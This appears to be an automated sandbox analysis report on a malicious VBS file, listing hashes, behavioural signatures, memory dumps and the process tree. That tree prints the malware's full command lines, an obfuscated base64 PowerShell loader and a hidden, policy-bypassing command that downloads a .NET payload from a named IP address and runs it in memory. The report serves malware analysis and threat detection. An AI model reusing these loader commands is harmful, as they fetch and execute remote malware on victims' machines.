Analysis
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max time kernel
49s -
max time network
67s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system -
submitted
29-11-2022 12:43
Static task
static1
Behavioral task
behavioral1
Sample
65b56626ae18acca0542ed6349fe76ff.vbs
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
65b56626ae18acca0542ed6349fe76ff.vbs
Resource
win10v2004-20220901-en
General
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Target
65b56626ae18acca0542ed6349fe76ff.vbs
-
Size
159KB
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MD5
5bc0dbb1d4f2c3ee0aaad47f123f95bb
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SHA1
5aaf4ad4a1e1a4fa206b0034b5653e09c4715071
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SHA256
792266a30b07db531fd65d979c4f91a271207eb2f3ffdee26f452ceba9af5349
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SHA512
cd8e2c2b0a4e1631a30dfd6be8dc22da411704da116bbcafe68caaa3efefd6c2062f53e0b39bea81c50e473493868af3f1594cc21f25417bac202bf149e8d0ae
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SSDEEP
3072:oHGRwfkYFEhNe4VTdRnTT8w4TWXZqvcjk:7wfkYFYZqvcw
Malware Config
Extracted
http://4.204.233.44/dll/NoStartUp.ppam
Signatures
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Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 4 1116 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepowershell.exepid process 680 powershell.exe 1116 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 680 powershell.exe Token: SeDebugPrivilege 1116 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
WScript.exepowershell.exedescription pid process target process PID 1380 wrote to memory of 680 1380 WScript.exe powershell.exe PID 1380 wrote to memory of 680 1380 WScript.exe powershell.exe PID 1380 wrote to memory of 680 1380 WScript.exe powershell.exe PID 680 wrote to memory of 1116 680 powershell.exe powershell.exe PID 680 wrote to memory of 1116 680 powershell.exe powershell.exe PID 680 wrote to memory of 1116 680 powershell.exe powershell.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\65b56626ae18acca0542ed6349fe76ff.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:1380 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'WwBC❤Hk❤d❤Bl❤Fs❤XQBd❤C❤❤J❤BE❤Ew❤T❤❤g❤D0❤I❤Bb❤FM❤eQBz❤HQ❤ZQBt❤C4❤QwBv❤G4❤dgBl❤HI❤d❤Bd❤Do❤OgBG❤HI❤bwBt❤EI❤YQBz❤GU❤Ng❤0❤FM❤d❤By❤Gk❤bgBn❤Cg❤K❤BO❤GU❤dw❤t❤E8❤YgBq❤GU❤YwB0❤C❤❤TgBl❤HQ❤LgBX❤GU❤YgBD❤Gw❤aQBl❤G4❤d❤❤p❤C4❤R❤Bv❤Hc❤bgBs❤G8❤YQBk❤FM❤d❤By❤Gk❤bgBn❤Cg❤JwBo❤HQ❤d❤Bw❤Do❤Lw❤v❤DQ❤Lg❤y❤D❤❤N❤❤u❤DI❤Mw❤z❤C4❤N❤❤0❤C8❤Z❤Bs❤Gw❤LwBO❤G8❤UwB0❤GE❤cgB0❤FU❤c❤❤u❤H❤❤c❤Bh❤G0❤Jw❤p❤Ck❤OwBb❤FM❤eQBz❤HQ❤ZQBt❤C4❤QQBw❤H❤❤R❤Bv❤G0❤YQBp❤G4❤XQ❤6❤Do❤QwB1❤HI❤cgBl❤G4❤d❤BE❤G8❤bQBh❤Gk❤bg❤u❤Ew❤bwBh❤GQ❤K❤❤k❤EQ❤T❤BM❤Ck❤LgBH❤GU❤d❤BU❤Hk❤c❤Bl❤Cg❤JwBG❤Gk❤YgBl❤HI❤LgBI❤G8❤bQBl❤Cc❤KQ❤u❤Ec❤ZQB0❤E0❤ZQB0❤Gg❤bwBk❤Cg❤JwBW❤EE❤SQ❤n❤Ck❤LgBJ❤G4❤dgBv❤Gs❤ZQ❤o❤CQ❤bgB1❤Gw❤b❤❤s❤C❤❤WwBv❤GI❤agBl❤GM❤d❤Bb❤F0❤XQ❤g❤Cg❤JwB0❤Hg❤d❤❤u❤HM❤awBk❤GI❤ZgBm❤Go❤agBk❤HM❤YgBm❤Ho❤agBz❤HY❤Z❤Bm❤Go❤Z❤Br❤Go❤eg❤v❤DQ❤Mg❤u❤D❤❤Mg❤x❤C4❤O❤❤3❤DE❤Lg❤1❤Dk❤MQ❤v❤C8❤OgBw❤HQ❤d❤Bo❤Cc❤KQ❤p❤❤==';$OWjuxD = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('❤','A') ) ).replace('%testinmg%','');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:680 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://4.204.233.44/dll/NoStartUp.ppam'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.skdbffjjdsbfzjsvdfjdkjz/42.021.871.591//:ptth'))"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1116
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD58c656477dbaf04bd80d5c082724effc1
SHA10733d65769921beb4bbae99ea34aecb4b667344a
SHA2563ebfd48fe1b11ad8ed1df8700b70f8abc6ff3b98838b72b24951f4c8b73583ab
SHA512045ef0e0394ca660d3ceb83e12689a3cc3dec85472d8affc68a723331c0fc574654abfbdb22d35bc4b785d3e646d278d4ed93cef1ab3ce7388c5b3ea9e5def49
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memory/680-65-0x000000000207B000-0x000000000209A000-memory.dmpFilesize
124KB
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memory/680-55-0x0000000000000000-mapping.dmp
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memory/680-57-0x000007FEF3A20000-0x000007FEF4443000-memory.dmpFilesize
10.1MB
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memory/680-59-0x0000000002074000-0x0000000002077000-memory.dmpFilesize
12KB
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memory/680-58-0x000007FEF2EC0000-0x000007FEF3A1D000-memory.dmpFilesize
11.4MB
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memory/680-70-0x0000000002074000-0x0000000002077000-memory.dmpFilesize
12KB
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memory/680-71-0x000000000207B000-0x000000000209A000-memory.dmpFilesize
124KB
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memory/1116-64-0x000007FEF2EC0000-0x000007FEF3A1D000-memory.dmpFilesize
11.4MB
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memory/1116-66-0x0000000001ED4000-0x0000000001ED7000-memory.dmpFilesize
12KB
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memory/1116-67-0x0000000001EDB000-0x0000000001EFA000-memory.dmpFilesize
124KB
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memory/1116-68-0x0000000001ED4000-0x0000000001ED7000-memory.dmpFilesize
12KB
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memory/1116-69-0x0000000001EDB000-0x0000000001EFA000-memory.dmpFilesize
124KB
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memory/1116-63-0x000007FEF3A20000-0x000007FEF4443000-memory.dmpFilesize
10.1MB
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memory/1116-60-0x0000000000000000-mapping.dmp
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memory/1380-54-0x000007FEFBE91000-0x000007FEFBE93000-memory.dmpFilesize
8KB